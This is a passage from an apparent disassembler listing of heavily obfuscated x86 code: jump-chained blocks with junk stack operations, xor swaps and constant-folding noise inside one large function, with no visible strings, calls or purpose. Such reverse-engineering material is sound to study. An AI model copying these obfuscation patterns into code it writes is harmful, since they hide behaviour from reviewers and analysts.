; ---------------------------------------------------------------------------


loc_59F4F3:				; CODE XREF: sub_57DD3A+1E3FAj
		push	7CC6h
		mov	[esp+84h+var_84], ecx
		push	[esp+84h+var_80]
		jmp	loc_59C5F6
; ---------------------------------------------------------------------------


loc_59F504:				; CODE XREF: sub_57DD3A+236B7j
		add	edi, 0AD910F9h
		add	edi, 56AD0BC5h
		sub	edi, eax
		jmp	loc_599838
; ---------------------------------------------------------------------------


loc_59F517:				; CODE XREF: sub_57DD3A+1893Aj
		pop	esp
		push	782Dh
		mov	[esp+28h+var_2A+2], edi
		push	[esp+28h+var_2A+2]
		jmp	loc_59BE7E
; ---------------------------------------------------------------------------


loc_59F528:				; CODE XREF: sub_57DD3A+1C04Cj
		push	27F51312h
		jmp	loc_5A058D
; ---------------------------------------------------------------------------


loc_59F532:				; CODE XREF: sub_57DD3A+109EEj
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	73h
		mov	[esp+14h+var_16+2], esi
		push	eax
		jmp	loc_59C2C5
; ---------------------------------------------------------------------------


loc_59F546:				; CODE XREF: sub_57DD3A+1F494j
		pop	esp
		push	[esp+3Eh+var_3E]
		mov	eax, [esp+42h+var_42]
		sub	esp, 4
		mov	[esp+46h+var_46], ebp
		jmp	loc_595037
; ---------------------------------------------------------------------------


loc_59F55B:				; CODE XREF: sub_57DD3A+23343j
		mov	ch, 89h
		add	ch, 9Fh
		shr	ch, 8
		jmp	loc_597F35
; ---------------------------------------------------------------------------


loc_59F568:				; CODE XREF: sub_57DD3A+1D2E7j
		add	ebx, edx
		add	ebx, 65274136h
		jmp	loc_59A0EC
; ---------------------------------------------------------------------------


loc_59F575:				; CODE XREF: sub_57DD3A+18C8Bj
		sub	al, 1Dh
		jmp	loc_590E61
; ---------------------------------------------------------------------------


loc_59F57C:				; CODE XREF: sub_57DD3A+1AE0Bj
		sub	eax, 772E6933h
		jmp	loc_5990E7
; ---------------------------------------------------------------------------


loc_59F586:				; CODE XREF: sub_57DD3A+21BB8j
		or	ebp, eax
		mov	eax, [esp+68h+var_68]
		add	esp, 4
		and	ebp, 429E1D6Ch
		push	eax
		mov	eax, 6BF3B52h
		xor	ebp, eax
		pop	eax
		jmp	loc_592BD9
; ---------------------------------------------------------------------------


loc_59F5A5:				; CODE XREF: sub_57DD3A+11566j
		pop	esi
		push	ecx
		push	esi
		push	4DC2527Ch
		pop	esi
		push	esi
		not	[esp+36h+var_36]
		pop	esi
		add	esi, 7E5B1F43h
		xor	esi, 3098CCC4h
		push	esi
		jmp	loc_5938DF
; ---------------------------------------------------------------------------


loc_59F5C5:				; CODE XREF: sub_57DD3A+16A65j
		add	bl, cl
		pop	cx
		push	ax
		mov	al, 0ECh
		add	bl, 5Eh
		add	bl, al
		jmp	loc_59CF58
; ---------------------------------------------------------------------------


loc_59F5D7:				; CODE XREF: sub_57DD3A+13D17j
		pop	edi
		push	ecx
		mov	ecx, 1FDE3EB2h
		jmp	loc_59B852
; ---------------------------------------------------------------------------


loc_59F5E3:				; CODE XREF: sub_57DD3A+15DAAj
		pop	ecx
		add	ecx, 4
		push	70E7h
		mov	[esp+58h+var_58], ebx
		push	409C7E71h
		pop	ebx
		shr	ebx, 8
		or	ebx, 0C35213Fh
		xor	ebx, 7C17BCE9h
		jmp	loc_592C42
; ---------------------------------------------------------------------------


loc_59F60C:				; CODE XREF: sub_57DD3A+11490j
		push	[esp+0Ch+var_E+2]
		pop	edx
		add	esp, 4
		push	65F0h
		mov	[esp+0Ch+var_E+2], edx
		jmp	loc_591C1F
; ---------------------------------------------------------------------------


loc_59F623:				; CODE XREF: sub_57DD3A+24917j
		shr	ebp, 8
		jmp	loc_5A2AD6
; ---------------------------------------------------------------------------


loc_59F62B:				; CODE XREF: sub_57DD3A+11082j
		sub	ebx, ecx
		push	ebp
		jmp	loc_5A2723
; ---------------------------------------------------------------------------


loc_59F633:				; DATA XREF: sub_57DD3A+10382o
		push	[esp+2Ah+var_2A]
		mov	eax, [esp+2Eh+var_2E]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+32h+var_32]
		pop	esp
		push	6DD6h
		mov	[esp+32h+var_32], ebp
		mov	ebp, esp
		push	1753h
		mov	[esp+36h+var_36], ecx
		mov	ecx, 4
		jmp	loc_5A3036
; ---------------------------------------------------------------------------


loc_59F666:				; CODE XREF: sub_57DD3A+22CCAj
		xor	ebx, eax
		mov	dx, word ptr [esp+36h+var_36]
		push	ebp
		push	esp
		jmp	loc_593EE9
; ---------------------------------------------------------------------------


loc_59F673:				; CODE XREF: sub_57DD3A+1DC41j
		mov	[esp+7Ch+var_7C], edx
		push	eax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59F67D:				; CODE XREF: sub_57DD3A+19473j
		pop	esi
		pop	[esp+50h+var_50]
		jmp	loc_596E87
; ---------------------------------------------------------------------------


loc_59F686:				; CODE XREF: sub_57DD3A+23A93j
		add	ebp, 4
		push	edi
		mov	edi, 4
		add	ebp, edi
		pop	edi
		xor	ebp, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], ebp
		xor	ebp, [esp+4Ch+var_4C]
		jmp	loc_59E71B
; ---------------------------------------------------------------------------


loc_59F6A3:				; CODE XREF: sub_57DD3A+22E95j
		pop	esp
		push	eax
		sub	esp, 4
		mov	[esp+50h+var_50], ecx
		jmp	loc_596DE4
; ---------------------------------------------------------------------------


loc_59F6B3:				; CODE XREF: sub_57DD3A+15A5Ej
		mov	ecx, 3CA80F02h
		add	ecx, eax
		pop	eax
		jmp	loc_598C2D
; ---------------------------------------------------------------------------


loc_59F6C0:				; CODE XREF: sub_57DD3A+1F384j
		mov	ebx, 722D70DAh
		sub	eax, ebx
		jmp	loc_58F86C
; ---------------------------------------------------------------------------


loc_59F6CC:				; CODE XREF: sub_57DD3A+1F950j
		mov	ecx, 13F6752Ah
		jmp	loc_58E98A
; ---------------------------------------------------------------------------


loc_59F6D6:				; CODE XREF: sub_57DD3A+1CE9Cj
		push	ebp
		jmp	loc_59854F
; ---------------------------------------------------------------------------


loc_59F6DC:				; CODE XREF: sub_57DD3A+1D3C8j
		pop	eax
		push	ebx
		mov	bl, ch
		mov	ah, bl
		pop	ebx
		pop	ecx
		jmp	loc_59C38D
; ---------------------------------------------------------------------------


loc_59F6E9:				; CODE XREF: sub_57DD3A+22F80j
		pop	esp
		jmp	loc_594A85
; ---------------------------------------------------------------------------


loc_59F6EF:				; CODE XREF: sub_57DD3A+18BE1j
		mov	eax, 1
		jmp	loc_5973E0
; ---------------------------------------------------------------------------


loc_59F6F9:				; CODE XREF: sub_57DD3A+1513Bj
		add	[esp+14h+var_16+2], 4
		mov	edx, [esp+14h+var_16+2]
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59AD92
; ---------------------------------------------------------------------------


loc_59F711:				; CODE XREF: sub_57DD3A+19684j
		pop	esi
		xchg	eax, [esp+12h+var_12]
		jmp	loc_5A24FA
; ---------------------------------------------------------------------------


loc_59F71A:				; CODE XREF: sub_57DD3A+15EA7j
		push	ecx
		jmp	loc_5A0C76
; ---------------------------------------------------------------------------


loc_59F720:				; CODE XREF: sub_57DD3A+1D4A0j
		add	ecx, ebx
		pop	ebx
		jmp	loc_598E6D
; ---------------------------------------------------------------------------


loc_59F728:				; CODE XREF: sub_57DD3A+24E91j
		and	ebx, edx
		pop	edx
		and	ebx, 1FB631BAh
		shr	ebx, 2
		shl	ebx, 7
		xor	ebx, 40801400h
		mov	ecx, ebx
		jmp	loc_58EADE
; ---------------------------------------------------------------------------


loc_59F744:				; CODE XREF: sub_57DD3A+1B2D4j
		sub	esp, 4
		mov	[esp+66h+var_68+2], ecx
		pop	ebx
		jmp	loc_59B040
; ---------------------------------------------------------------------------


loc_59F753:				; CODE XREF: sub_57DD3A+19D0Dj
		xor	ebp, [esp+36h+var_36]
		xor	[esp+36h+var_36], ebp
		jmp	loc_593310
; ---------------------------------------------------------------------------


loc_59F75E:				; CODE XREF: sub_57DD3A+1F99Ej
		sub	ebp, 7BE5B25Eh
		add	ebx, ebp
		pop	ebp
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		xor	ebx, [esp+54h+var_54]
		xor	[esp+54h+var_54], ebx
		jmp	loc_597CAA
; ---------------------------------------------------------------------------


loc_59F77B:				; CODE XREF: sub_57DD3A+1B950j
		mov	edx, [esp+5Ah+var_5C+2]
		push	4FF2h
		mov	[esp+5Eh+var_60+2], edi
		push	esp
		pop	edi
		push	esi
		mov	esi, 18FF1199h
		shl	esi, 7
		shl	esi, 7
		push	edx
		mov	edx, 38E673Bh
		push	edi
		mov	edi, 150E0F00h
		sub	edi, 485714EDh
		jmp	loc_58E90C
; ---------------------------------------------------------------------------


loc_59F7AB:				; CODE XREF: sub_57DD3A+1A6BFj
		push	[esp-4+arg_0]
		pop	edi
		add	esp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		mov	[esp+0], dx
		push	ax
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59F7CA:				; CODE XREF: sub_57DD3A+18D74j
		mov	edx, 4
		add	ecx, edx
		pop	edx
		push	esi
		mov	esi, 4
		sub	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, esp
		push	esi
		mov	esi, esp
		jmp	loc_5925AD
; ---------------------------------------------------------------------------


loc_59F7EE:				; CODE XREF: sub_57DD3A+180B4j
		or	ebp, 6FC12F93h
		add	ebp, 0B4E2EFAh
		jmp	loc_59EAF3
; ---------------------------------------------------------------------------


loc_59F7FF:				; CODE XREF: sub_57DD3A+159B5j
		push	ebp
		mov	ebp, 4
		add	esi, ebp
		pop	ebp
		push	75F3h
		mov	[esp+2Ah+var_2A], ecx
		jmp	loc_59E87E
; ---------------------------------------------------------------------------


loc_59F815:				; CODE XREF: sub_57DD3A+152F1j
		mov	ebp, 210B399Bh
		jmp	loc_591FFB
; ---------------------------------------------------------------------------


loc_59F81F:				; CODE XREF: sub_57DD3A+20F97j
		add	ebx, edi
		pop	edi
		jmp	loc_59C9E3
; ---------------------------------------------------------------------------


loc_59F827:				; CODE XREF: sub_57DD3A+14D98j
		not	esi
		jmp	loc_5914BF
; ---------------------------------------------------------------------------


loc_59F82E:				; CODE XREF: sub_57DD3A+1073Aj
		add	esp, 4
		mov	ebx, [esp+0]
		push	eax
		mov	eax, esp
		push	ebx
		jmp	loc_59B888
; ---------------------------------------------------------------------------


loc_59F83D:				; DATA XREF: sub_57DD3A+10346o
		mov	cx, word ptr [esp+8+var_8]
		sub	esp, 4
		jmp	loc_59568D
; ---------------------------------------------------------------------------


loc_59F849:				; CODE XREF: sub_57DD3A+1FABAj
		pop	ebx
		push	ebx
		mov	bh, al
		mov	cl, bh
		pop	ebx
		mov	eax, [esp+28h+var_2A+2]
		add	esp, 4
		push	6BCh
		mov	[esp+28h+var_2A+2], edx
		jmp	loc_592D54
; ---------------------------------------------------------------------------


loc_59F863:				; CODE XREF: sub_57DD3A+18527j
		shl	ebx, 2
		push	edx
		jmp	loc_599A09
; ---------------------------------------------------------------------------


loc_59F86C:				; CODE XREF: sub_57DD3A+1F77Fj
		push	[esp+42h+var_42]
		mov	eax, [esp+46h+var_46]
		add	esp, 4
		push	50B6h
		mov	[esp+46h+var_46], edx
		jmp	loc_59178B
; ---------------------------------------------------------------------------


loc_59F882:				; CODE XREF: sub_57DD3A+10C40j
		mov	[esp+6+var_8+2], ebp
		jmp	loc_595506
; ---------------------------------------------------------------------------


loc_59F88A:				; CODE XREF: sub_57DD3A+1B93Ej
		add	esp, 4
		add	edi, 0FFFFFFFFh
		push	ebp
		mov	ebp, 7FC42D93h
		sub	edi, ebp
		mov	ebp, [esp+5Eh+var_60+2]
		add	esp, 4
		and	eax, edi
		push	[esp+5Ah+var_5C+2]
		mov	edi, [esp+5Eh+var_60+2]
		push	710Eh
		mov	[esp+62h+var_64+2], ecx
		push	esp
		pop	ecx
		push	eax
		jmp	loc_59AF8B
; ---------------------------------------------------------------------------


loc_59F8B9:				; CODE XREF: sub_57DD3A+1B8D2j
		add	ebp, edi
		jmp	loc_59C3A9
; ---------------------------------------------------------------------------


loc_59F8C0:				; CODE XREF: sub_57DD3A+12659j
		pop	eax
		pop	esi
		or	edx, eax
		mov	eax, [esp-10h+arg_A+2]
		add	esp, 4
		xor	edx, 4626D37Ah
		xor	ecx, edx
		pop	edx
		push	edi
		mov	edi, 24F63685h
		jmp	loc_59A0B6
; ---------------------------------------------------------------------------


loc_59F8E1:				; CODE XREF: sub_57DD3A+1F58Ej
		xor	esi, [esp+0]
		pop	esp
		div	ecx
		jmp	loc_58EA55
; ---------------------------------------------------------------------------


loc_59F8EC:				; CODE XREF: sub_57DD3A+23904j
		push	eax
		mov	eax, 41924E1Fh
		jmp	loc_59F586
; ---------------------------------------------------------------------------


loc_59F8F7:				; CODE XREF: sub_57DD3A+1AFF4j
		and	ebp, 5EFF1889h
		xor	ebp, 490878B2h
		xor	ebp, 0BB3EBE39h
		jmp	loc_59A1D9
; ---------------------------------------------------------------------------


loc_59F90E:				; CODE XREF: sub_57DD3A+13A30j
		xchg	esi, [esp+58h+var_58]
		jmp	loc_59DE66
; ---------------------------------------------------------------------------


loc_59F916:				; CODE XREF: sub_57DD3A+1EE56j
		mov	edx, 4
		jmp	loc_5919B7
; ---------------------------------------------------------------------------


loc_59F920:				; CODE XREF: sub_57DD3A+1BBD0j
		neg	ebp
		add	ebp, 24C868E7h
		add	ebx, ebp
		pop	ebp
		xor	ebx, [esp+2+var_4+2]
		xor	[esp+2+var_4+2], ebx
		xor	ebx, [esp+2+var_4+2]
		mov	esp, [esp+2+var_4+2]
		push	[esp+2+var_4+2]
		pop	edx
		push	ebx
		push	5772h
		mov	[esp+0], esp
		push	esi
		jmp	loc_5A2B13
; ---------------------------------------------------------------------------


loc_59F94A:				; CODE XREF: sub_57DD3A+223C4j
		pop	ebx
		sub	ebx, esi
		pop	esi
		sub	ebx, 61E73299h
		sub	ebx, 5A13A3Dh
		sub	ebx, eax
		add	ebx, 5A13A3Dh
		push	edx
		jmp	loc_591F86
; ---------------------------------------------------------------------------


loc_59F968:				; CODE XREF: sub_57DD3A+13454j
		mov	edi, 71C46B2Eh
		mov	eax, 75E972BFh
		sub	eax, edi
		jmp	loc_59A161
; ---------------------------------------------------------------------------


loc_59F979:				; CODE XREF: sub_57DD3A+21342j
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		add	eax, 4
		xchg	eax, [esp+58h+var_58]
		mov	esp, [esp+58h+var_58]
		push	edi
		push	774F4735h
		pop	edi
		or	edi, 31551086h
		push	ebx
		mov	ebx, 19185B48h
		sub	ebx, 0B7DF8292h
		sub	edi, ebx
		jmp	loc_5984AE
; ---------------------------------------------------------------------------


loc_59F9AB:				; CODE XREF: sub_57DD3A+148C6j
		push	ebp
		pop	ebx
		mov	ebp, [esp+24h+var_26+2]
		add	esp, 4
		add	ebp, ebx
		pop	ebx
		xor	ebp, [esp+1Ch+var_1E+2]
		xor	[esp+1Ch+var_1E+2], ebp
		xor	ebp, [esp+1Ch+var_1E+2]
		mov	esp, [esp+1Ch+var_1E+2]
		sar	[esp+1Ch+var_1E+2], cl
		pushf
		jmp	loc_5A1CF1
; ---------------------------------------------------------------------------


loc_59F9CE:				; CODE XREF: sub_57DD3A+2033Aj
		add	edx, esi
		pop	esi
		push	ecx
		push	2
		pop	ecx
		add	edx, 1F67B89h
		sub	edx, ecx
		jmp	loc_59CF91
; ---------------------------------------------------------------------------


loc_59F9E5:				; CODE XREF: sub_57DD3A+14388j
		mov	ebx, [esp+44h+var_46+2]
		add	esp, 4
		add	edx, ecx
		sub	edx, 5FEB01EFh
		mov	ecx, [esp+40h+var_42+2]
		add	esp, 4
		xchg	edx, [esp+3Ch+var_3E+2]
		pop	esp
		and	byte ptr [esp+38h+var_3A+2], al
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59FA09:				; CODE XREF: sub_57DD3A+1C8BDj
		neg	edi
		sub	edi, 12AF3B2Fh
		sub	esp, 4
		mov	[esp+24h+var_26+2], ebx
		mov	ebx, 6A4A5AF7h
		sub	edi, ebx
		pop	ebx
		jmp	loc_599D68
; ---------------------------------------------------------------------------


loc_59FA27:				; CODE XREF: sub_57DD3A+1423Aj
		or	ecx, 385858E8h
		push	esi
		mov	esi, 6AEF1593h
		add	esi, 1F461A2Eh
		and	esi, 43EC4686h
		or	esi, 441338F8h
		xor	esi, 1EB94965h
		jmp	loc_59B716
; ---------------------------------------------------------------------------


loc_59FA50:				; CODE XREF: sub_57DD3A+1D634j
		pop	edi
		mov	edi, [esp+44h+var_46+2]
		push	esi
		mov	esi, esp
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		add	esi, 4
		sub	esp, 4
		jmp	loc_59C122
; ---------------------------------------------------------------------------


loc_59FA6E:				; CODE XREF: sub_57DD3A+1F03Cj
		add	esp, 4
		add	esi, 649F2000h
		push	ebx
		mov	ebx, 4A1A3A8Bh
		inc	ebx
		inc	ebx
		jmp	loc_5A0EE8
; ---------------------------------------------------------------------------


loc_59FA87:				; CODE XREF: sub_57DD3A+1E072j
		mov	esi, [esp+16h+var_16]
		add	esp, 4
		add	esi, 38D16270h
		push	esi
		pop	eax
		jmp	loc_5A15E7
; ---------------------------------------------------------------------------


loc_59FA9D:				; CODE XREF: sub_57DD3A+1C454j
		push	ecx
		jmp	loc_59D2A4
; ---------------------------------------------------------------------------


loc_59FAA3:				; CODE XREF: sub_57DD3A+11030j
		xor	ebx, 20ED749Fh
		shl	ebx, 8
		xor	ebx, 1C71650Ch
		jmp	loc_593CE3
; ---------------------------------------------------------------------------


loc_59FAB7:				; CODE XREF: sub_57DD3A+11C10j
		push	1D5h
		mov	[esp+42h+var_42], edi
		jmp	loc_594BC6
; ---------------------------------------------------------------------------


loc_59FAC4:				; CODE XREF: sub_57DD3A+16E95j
		add	ebx, edi
		jmp	loc_592F16
; ---------------------------------------------------------------------------


loc_59FACB:				; CODE XREF: sub_57DD3A+1D39Bj
		pop	esi
		push	ebx
		mov	bx, 345Bh
		jmp	loc_598713
; ---------------------------------------------------------------------------


loc_59FAD6:				; CODE XREF: sub_57DD3A+1C1FBj
		mov	ebp, esp
		jmp	loc_5A215D
; ---------------------------------------------------------------------------


loc_59FADD:				; CODE XREF: sub_57DD3A+206C0j
		push	esp
		jmp	loc_598B9E
; ---------------------------------------------------------------------------


loc_59FAE3:				; CODE XREF: sub_57DD3A+1A890j
		push	ebx
		mov	ebx, 4F6C127Ch
		add	eax, 5BED2903h
		add	eax, ebx
		jmp	loc_5A1A6B
; ---------------------------------------------------------------------------


loc_59FAF5:				; CODE XREF: sub_57DD3A+210D5j
		push	esi
		sub	[esp+1Ch+var_1E+2], 42EE291Dh
		pop	ebx
		add	ebx, 42EE291Dh
		jmp	loc_58F3DB
; ---------------------------------------------------------------------------


loc_59FB09:				; CODE XREF: sub_57DD3A+13198j
		push	esp
		jmp	loc_5A2A57
; ---------------------------------------------------------------------------


loc_59FB0F:				; CODE XREF: sub_57DD3A+18C54j
		push	edx
		jmp	loc_59EF91
; ---------------------------------------------------------------------------


loc_59FB15:				; CODE XREF: sub_57DD3A+170DDj
		mov	esi, 4FBC42BAh
		and	esi, 18A02D7Bh
		sub	esi, 0CCDA9FB3h
		mov	eax, esi
		jmp	loc_5929AB
; ---------------------------------------------------------------------------


loc_59FB2D:				; DATA XREF: sub_57DD3A+103F6o
		mov	esp, [esp+60h+var_60]
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59FB35:				; CODE XREF: sub_57DD3A+14782j
		xor	ebp, [esp+5Ch+var_5C]
		mov	esp, [esp+5Ch+var_5C]
		inc	byte ptr [esp+5Ch+var_5C]
		pushf
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59FB44:				; DATA XREF: sub_57DD3A+1035Ao
		push	[esp+60h+var_60]
		pop	eax
		sub	esp, 4
		mov	[esp+64h+var_64], edx
		push	esp
		jmp	loc_596E07
; ---------------------------------------------------------------------------


loc_59FB57:				; CODE XREF: sub_57DD3A+11113j
		sub	ebp, edi
		sub	ebp, 554F4EFFh
		push	ebp
		pop	edi
		mov	ebp, [esp+2Eh+var_2E]
		add	esp, 4
		push	eax
		mov	eax, 0
		jmp	loc_59551F
; ---------------------------------------------------------------------------


loc_59FB75:				; CODE XREF: sub_57DD3A+19BAFj
		mov	edx, 4
		sub	eax, edx
		pop	edx
		push	eax
		jmp	loc_598C5F
; ---------------------------------------------------------------------------


loc_59FB83:				; CODE XREF: sub_57DD3A+17B94j
		mov	edx, [esp+5Ch+var_5C]
		add	esp, 4
		shl	ecx, 1
		push	ebx
		mov	ebx, 3BEDE84h
		xor	ecx, ebx
		pop	ebx
		add	ebx, ecx
		jmp	loc_590D42
; ---------------------------------------------------------------------------


loc_59FB9E:				; CODE XREF: sub_57DD3A+1ACB6j
		add	esp, 4
		jmp	loc_5A251C
; ---------------------------------------------------------------------------


loc_59FBA6:				; CODE XREF: sub_57DD3A+2369Dj
		mov	dl, bh
		jmp	loc_59A6BA
; ---------------------------------------------------------------------------


loc_59FBAD:				; CODE XREF: sub_57DD3A+1BA30j
		and	bh, 0FAh
		xor	bh, 2Bh
		or	cl, bh
		mov	ebx, [esp+7Ch+var_7C]
		add	esp, 4
		jmp	loc_596A0D
; ---------------------------------------------------------------------------


loc_59FBC3:				; CODE XREF: sub_57DD3A+19FA4j
		pop	ebx
		jmp	loc_597EC6
; ---------------------------------------------------------------------------


loc_59FBC9:				; CODE XREF: sub_57DD3A+1C7C0j
		shl	ah, 2
		add	ah, 4Eh
		sub	dh, 58h
		jmp	loc_598677
; ---------------------------------------------------------------------------


loc_59FBD7:				; CODE XREF: sub_57DD3A+1CF4Dj
		push	edi
		mov	edi, 19336D3Bh
		or	edi, 6C6E6C5Eh
		jmp	loc_5943FE
; ---------------------------------------------------------------------------


loc_59FBE8:				; CODE XREF: sub_57DD3A+170BAj
		add	eax, 4
		push	edi
		mov	edi, 2
		sub	eax, edi
		pop	edi
		push	eax
		push	[esp+26h+var_22]
		jmp	loc_598F3A
; ---------------------------------------------------------------------------


loc_59FC00:				; CODE XREF: sub_57DD3A+1F3A9j
		push	ebx
		push	edi
		push	ebp
		mov	ebp, 221F1B88h
		jmp	loc_59DDC7
; ---------------------------------------------------------------------------


loc_59FC0D:				; CODE XREF: sub_57DD3A+15A72j
		add	esp, 4
		push	ecx
		push	edx
		jmp	loc_59BE48
; ---------------------------------------------------------------------------


loc_59FC1A:				; CODE XREF: sub_57DD3A+1F3B2j
		push	cx
		sub	byte ptr [esp+3Ch+var_3E+2], 0FFh
		jmp	loc_59996A
; ---------------------------------------------------------------------------


loc_59FC25:				; CODE XREF: sub_57DD3A+20113j
		inc	eax
		or	eax, 3191535Dh
		jmp	loc_592BAD
; ---------------------------------------------------------------------------


loc_59FC30:				; CODE XREF: sub_57DD3A+1B9B6j
		mov	eax, [esp+0Eh+var_E]
		add	esp, 4
		push	ebp
		push	esp
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+0Eh+var_E]
		jmp	loc_59B38E
; ---------------------------------------------------------------------------


loc_59FC50:				; CODE XREF: sub_57DD3A+204F5j
		sub	ebx, 733177FFh
		jmp	loc_59973C
; ---------------------------------------------------------------------------


loc_59FC5B:				; CODE XREF: sub_57DD3A+187F7j
		mov	esi, 4CE100D8h
		dec	esi
		xor	esi, 2636EE7h
		jmp	loc_5954F3
; ---------------------------------------------------------------------------


loc_59FC6C:				; CODE XREF: sub_57DD3A+1BB81j
		push	ecx
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+16h+var_16]
		jmp	loc_59A87E
; ---------------------------------------------------------------------------


loc_59FC84:				; CODE XREF: sub_57DD3A+19E2Fj
		xor	[esp+58h+var_58], ecx
		push	[esp+58h+var_58]
		jmp	loc_59E178
; ---------------------------------------------------------------------------


loc_59FC8F:				; CODE XREF: sub_57DD3A+20647j
		add	ebp, edx
		pop	edx
		jmp	loc_594F7D
; ---------------------------------------------------------------------------


loc_59FC97:				; CODE XREF: sub_57DD3A+19836j
		mov	[esp+88h+var_88], ecx
		mov	ecx, 21149D31h
		xor	edi, ecx
		pop	ecx
		xor	eax, edi
		pop	edi
		xor	eax, 10F30232h
		and	edx, eax
		pop	eax
		add	edx, 0FFFFFFFFh
		xor	edx, 253B56CBh
		jmp	loc_59294C
; ---------------------------------------------------------------------------


loc_59FCBB:				; CODE XREF: sub_57DD3A+11F8Bj
		and	esi, 39CC29F5h
		jmp	loc_5A12C0
; ---------------------------------------------------------------------------


loc_59FCC6:				; CODE XREF: sub_57DD3A+25345j
		push	ax
		sub	esp, 2
		mov	word ptr [esp+1Ah+var_1A], dx
		jmp	loc_5921B0
; ---------------------------------------------------------------------------


loc_59FCD4:				; CODE XREF: sub_57DD3A+2516Ej
		push	ebx
		xor	[esp+1Eh+var_1E], 532124CAh
		pop	edi
		jmp	loc_5A0A17
; ---------------------------------------------------------------------------


loc_59FCE2:				; CODE XREF: sub_57DD3A+111BFj
		pop	ecx
		sub	[esp+36h+var_32], eax
		mov	eax, [esp+36h+var_36]
		add	esp, 4
		jmp	loc_5A0BC3
; ---------------------------------------------------------------------------


loc_59FCF5:				; CODE XREF: sub_57DD3A+14191j
		pop	esp
		mov	word ptr [esp+68h+var_68], cx
		jmp	loc_58E353
; ---------------------------------------------------------------------------


loc_59FCFF:				; CODE XREF: sub_57DD3A+25006j
		sub	esp, 4
		mov	[esp+6Ch+var_6C], edi
		mov	edi, esp
		add	edi, 4
		sub	esp, 4
		mov	[esp+70h+var_70], ecx
		mov	ecx, 0D5A6A9Ch
		neg	ecx
		and	ecx, 300F1115h
		push	ecx
		xchg	ecx, [esp+74h+var_74]
		not	ecx
		jmp	loc_593A0D
; ---------------------------------------------------------------------------


loc_59FD31:				; CODE XREF: sub_57DD3A+1824Fj
		mov	[eax], bl
		pop	eax
		pop	edx
		mov	ebx, [esp+2Ah+var_2A]
		jmp	loc_599B6C
; ---------------------------------------------------------------------------


loc_59FD3D:				; CODE XREF: sub_57DD3A+1CF25j
		push	ebp
		mov	ebp, 4FAF63BBh
		jmp	loc_58E3C0
; ---------------------------------------------------------------------------


loc_59FD48:				; CODE XREF: sub_57DD3A+13D3Fj
		mov	ebp, 6AB1623h
		xor	ebp, edx
		jmp	loc_590473
; ---------------------------------------------------------------------------


loc_59FD54:				; CODE XREF: sub_57DD3A+200F8j
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_5977AC
; ---------------------------------------------------------------------------


loc_59FD6A:				; CODE XREF: sub_57DD3A+14A5Aj
		push	2CA5h
		mov	[esp+74h+var_74], ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp+74h+var_74]
		mov	esp, [esp+74h+var_74]
		mov	[esp+74h+var_74], edx
		push	[esp+74h+var_70]
		jmp	loc_592569
; ---------------------------------------------------------------------------


loc_59FD97:				; CODE XREF: sub_57DD3A+1CE12j
		push	edx
		jmp	loc_597F7F
; ---------------------------------------------------------------------------


loc_59FD9D:				; CODE XREF: sub_57DD3A+14A6Fj
		push	[esp+78h+var_74]
		pop	ecx
		pop	[esp+78h+var_78]
		jmp	loc_59752B
; ---------------------------------------------------------------------------


loc_59FDAA:				; CODE XREF: sub_57DD3A+1DBF6j
		pop	ebp
		mov	ecx, ebp
		jmp	loc_594A14
; ---------------------------------------------------------------------------


loc_59FDB2:				; CODE XREF: sub_57DD3A+1DD9Dj
		push	edx
		jmp	loc_5958C7
; ---------------------------------------------------------------------------


loc_59FDB8:				; CODE XREF: sub_57DD3A+1F725j
		xchg	ebp, [esp+36h+var_36]
		jmp	loc_5A161A
; ---------------------------------------------------------------------------


loc_59FDC0:				; CODE XREF: sub_57DD3A+244EEj
		pop	[esp+36h+var_36]
		push	esi
		mov	esi, 4
		add	[esp+36h+var_32], esi
		jmp	loc_5935C0
; ---------------------------------------------------------------------------


loc_59FDD2:				; CODE XREF: sub_57DD3A+24E1Aj
		add	esp, 4
		add	al, 0E9h
		sub	al, 0DCh
		add	al, dh
		add	al, 0DCh
		push	small 4823h
		jmp	loc_595E98
; ---------------------------------------------------------------------------


loc_59FDE9:				; CODE XREF: sub_57DD3A+18281j
		mov	ecx, 499A59BBh
		xor	ebp, ecx
		pop	ecx
		push	esi
		jmp	loc_5A019E
; ---------------------------------------------------------------------------


loc_59FDF7:				; CODE XREF: sub_57DD3A+1258Dj
		xor	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp+32h+var_32], edi
		push	82806EBh
		jmp	loc_59E944
; ---------------------------------------------------------------------------


loc_59FE0D:				; CODE XREF: sub_57DD3A+1C1B7j
		mov	eax, [esp+16h+var_16]
		jmp	loc_59B7BA
; ---------------------------------------------------------------------------


loc_59FE15:				; CODE XREF: sub_57DD3A+13251j
		add	ebx, esi
		pop	esi
		mov	eax, ebx
		pop	ebx
		add	esi, eax
		pop	eax
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_590B3C
; ---------------------------------------------------------------------------


loc_59FE34:				; CODE XREF: sub_57DD3A+2406Fj
		mov	ebx, [esp+54h+var_54]
		add	esp, 4
		jmp	loc_596F27
; ---------------------------------------------------------------------------


loc_59FE42:				; CODE XREF: sub_57DD3A+14FCFj
		and	eax, 390243D2h
		shr	eax, 7
		not	eax
